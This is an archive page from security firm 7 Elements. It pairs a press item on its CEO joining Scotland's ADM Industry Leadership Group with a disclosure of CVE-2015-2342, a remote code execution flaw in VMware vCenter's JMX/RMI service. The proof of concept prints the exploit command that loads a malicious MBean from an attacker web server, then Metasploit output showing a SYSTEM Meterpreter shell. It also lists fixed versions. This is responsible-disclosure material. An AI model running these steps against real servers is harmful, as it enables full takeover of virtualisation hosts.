7 Elements CEO appointed by the Aerospace, Defence and Marine (ADM)
Industry Leadership Group. The full article can be found here.
Archives for October 2015
Aerospace, Defence and Marine (ADM) Industry Leadership Group
ADM Industry Leadership Group
7 Elements CEO appointed by the Aerospace, Defence and Marine (ADM)
Industry Leadership Group
David Stubley, CEO at 7 Elements, a key player in the Scottish information security industry, has been appointed as a new member of the Aerospace, Defence and Marine (ADM) Industry Leadership Group (ILG). The group has expanded its remit to cover Cyber Security as it represents both a significant market opportunity for companies in the sector but also Scotland has a considerable and growing capability in this area. David will bring his years of knowledge and expertise into the group to ensure that the revised 2015 strategy for Aerospace, Defence, Marine and Security (ADMS) fully incorporates this new growth opportunity for Scotland’s economy.
Scottish Enterprise facilitates ILGs, with the groups responsible for developing and delivering forward looking industry strategies. ILG members provide strategic leadership and advice to industry and the public sector in Scotland, drawing on their national and international expertise on global trends and issues and the niche areas where Scotland has global competitiveness. These groups comprise leading business figures drawn from across the private sector as well as senior representatives from the public sector including Scottish Enterprise, Scottish Government and key stakeholders.
The ADMS ILG currently has 18 members from key industrial and academic players in the sector including Vector Aerospace, Selex ES, Thales Optronics, Spirit Aerosystems, BAE Systems, Clyde Marine Group, University of Strathclyde, STUC, Scottish Engineering, Society of Maritime Industries, Inter-Tec Services ltd, British Airways Maintenance Glasgow, Castle Precision Engineering, Beal Group, MacTaggart Scott ltd.
Mick OConnor, Chairman, of the ADM ILG said;
The need to transmit and store information securely is of paramount importance in today’s business world. There are many high profile examples where data was accessed illegally at both a business and national level. In recognition of the emerging prominence of cyber security we have invited David Stubley to join the Aerospace, Defence and Marine (ADM) Industry Leadership Group (ILG) to provide matter expertise in this area. This appointment will help increase the general awareness of cyber security to business within the ADM community moreover, identify market opportunities for Scottish business.
David Stubley, CEO at 7 Elements, said;
I’m excited to have been appointed to the Industry Leadership Group. The Scottish Aerospace, Defence and Marine sector play a vital role within the national economy and has increasingly become the focus of cyber attacks. Establishing a resilient approach to security will not only reduce the impact of these events, but make Scotland a safer place to do business.
CVE-2015-2342 VMware vCenter Remote Code Execution
Advisory Information
Title: vCenter Java JMX/RMI Remote Code Execution
Date Published: 01/10/2015
CVE: CVE-2015-2342
Advisory Summary
VMware vCenter Server provides a centralised platform for managing your VMware vSphere environments so you can automate and deliver a virtual infrastructure. VMware vCenter was found to bind an unauthenticated JMX/RMI service to the network stack. An attacker with access can abuse the configuration to achieve remote code execution, providing SYSTEM level access to the server.
Vendor
VMware
Affected Software
VMware Product | Version | Platform | |
VMware vCenter Server | 6.0 | Any | |
VMware vCenter Server | 5.5 | Any | |
VMware vCenter Server | 5.1 | Any | |
VMware vCenter Server | 5.0 | Any |
Description of Issue
VMware’s vCenter application makes use of Java Virtual Machine (JVM) technology and supports the use of Java Management extensions (JMX), for application and network management and monitoring of the JVM. A JMX agent is setup to allow remote management of the JVM. The JMX agent utilises managed beans ‘MBeans’ to expose configured interfaces to manage predefined configurations. Any objects that are implemented as an MBean and registered with the agent can be managed from outside the agent’s Java virtual machine.
The JMX service was found to be configured insecurely as it does not require authentication, allowing a user to connect and interact with the service. The JMX service allows users to call the “javax.management.loading.MLet” function, which permits the loading of an MBean from a remote URL. An attacker can set up their remote Web Service to host an MLet (text file) that points to a malicious JAR file. When the JMX service registers the MLet file, the agent will initiate the URL to the remote JAR and execute the methods leading to code execution.
Ref – http://docs.oracle.com/javase/1.5.0/docs/api/javax/management/loading/MLet.html
Additional Information
Wider exploit development has already been undertaken against other vendors utilising JMX/RMI deployments and therefore, publicly available exploit code already exists that can be used in combination with Metasploit to gain a remote Meterpreter shell as SYSTEM.
Ref – https://github.com/mogwaisec/mjet
Ref – http://www.accuvant.com/blog/exploiting-jmx-rmi
Ref – https://www.exploit-db.com/exploits/36101/
PoC
For a proof of concept and further discussion, please see our blog on this issue.
Timeline
Reported – 27th February 2015
Accepted – 21st April 2015
First Fix – 10th September 2015
Retrospective Fix – 1st October 2015
Advisory Published – 1st October 2015
CVE-2015-2342 – Remote Code Execution within VMware vCenter
CVE-2015-2342 – Remote Code Execution within VMware vCenter – ‘All your base are belong to us’
Introduction
At the beginning of the year 7 Elements identified an unreported vulnerability within VMware’s vCenter product. The vulnerability provided SYSTEM level access to the hosting server and lead to a full compromise of the environment.
Due to the large scale commercial use of VMware products within enterprise level environments, 7 Elements started a long process to responsibly disclose the issue. The issue was first reported on 27th of February 2015 and can now be publicly disclosed with VMware providing fixes in both the latest version of vCenter 6.0 update 1 and updates to all previously affected versions.
Details of our advisory can be found here.
The VMware advisory can be found here.
Technical Detail
As detailed in the advisories above, the vulnerability takes advantage of an insecure deployment of the JMX/RMI service used to manage and monitor the Java Virtual Machine. By exploiting known methods, it is possible to remotely load an MLet file from an attacker controlled web server that points at a jar file. Our good friend Metasploit is really good at creating malicious jar files that result in remote shells. Therefore we have the perfect recipe to exploit the weakness and compromise the target server.
In the latest version the service no longer runs as SYSTEM by default and instead runs as ‘vspherewebclientsvc’. Execution against version 5.5 however, resulted in SYSTEM level access, on a default install.
The attack vector has already been weaponised with two known metasploit modules (1, 2) and a separate exploit, made up of java class files, that when compiled and executed passes a command to the server to be executed (Antivirus Bypass).
Proof of Concept
Identifying the service using the nmap rmi-dumpregistry.nse script shows that the service is remotely available:
root@Whack:/opt/mjet# nmap -sS 1.1.1.2 -p 9875 –script=/usr/share/nmap/scripts/rmi-dumpregistry.nse
Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-15 16:56 BST
Nmap scan report for 1.1.1.2
Host is up (0.00036s latency).
PORT STATE SERVICE
9875/tcp open java-rmi
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @1.1.1.2:50966
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
MAC Address: 00:0C:29:D1:00:30 (VMware)
Attacking the service running on host 1.1.1.2 and TCP Port 9875, while directing the remote URL for the MLET as http://1.1.1.1:8080/TArDcls4aeQZVWl:
root@Whack:/opt/mjet# java -jar mjet.jar -t 1.1.1.2 -p 9875 -u http://1.1.1.1:8080/TArDcls4aeQZVWl
---------------------------------------------------
MJET - Mogwai Security JMX Exploitation Toolkit 0.1
---------------------------------------------------
[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://1.1.1.2:9875/jmxrmi ...
[+] Connected: rmi://1.1.1.2 16
[+] Trying to create MLet bean...
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://1.1.1.1:8080/TArDcls4aeQZVWl
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
[+] Loaded class: metasploit.Metasploit
[+] Loaded MBean Server ID: drmwfzvo:name=NApCjRCB,id=gsKsVVHK
[+] Invoking: metasploit.Metasploit.run()
[+] Done
Metasploit Shell
-------------------------
2015-02-24 10:11:44 +0000 S:0 J:3 msf exploit(java_mlet_server) >
[*] Using URL: http://1.1.1.1:8080/TArDcls4aeQZVWl
[*] Server started.
[*] 1.1.1.2 java_mlet_server - handling request for /TArDcls4aeQZVWl
[*] 1.1.1.2 java_mlet_server - handling request for /TArDcls4aeQZVWl/
[*] 1.1.1.2 java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar
[*] 1.1.1.2 java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar
[*] Sending stage (30355 bytes) to 1.1.1.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.2:50456) at 2015-02-24 10:12:32 +0000
2015-02-24 10:14:10 +0000 S:1 J:3 msf exploit(java_mlet_server) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: SYSTEM
Remediation
VMware have advised customers to upgrade vulnerable versions of vCenter with the following versions:
VMware Product | Version | Platform | Fixed Version |
VMware vCenter Server | 6.0 | Any | 6.0 u1 |
VMware vCenter Server | 5.5 | Any | 5.5 u3 |
VMware vCenter Server | 5.1 | Any | 5.1 u3b |
VMware vCenter Server | 5.0 | Any | 5.0 u3e |
Conclusion
As can be seen with the above proof of concept, using already available tools it is a trivial exercise to gain full control over a vulnerable vCenter instance. As such, we would strongly recommend anyone running vCenter to ensure that they have either deployed the latest version from VMware or apply the relevant security patch. On a final note, remember that SYSTEM level access is only the beginning, especially when dealing with a server hosting VMware machines.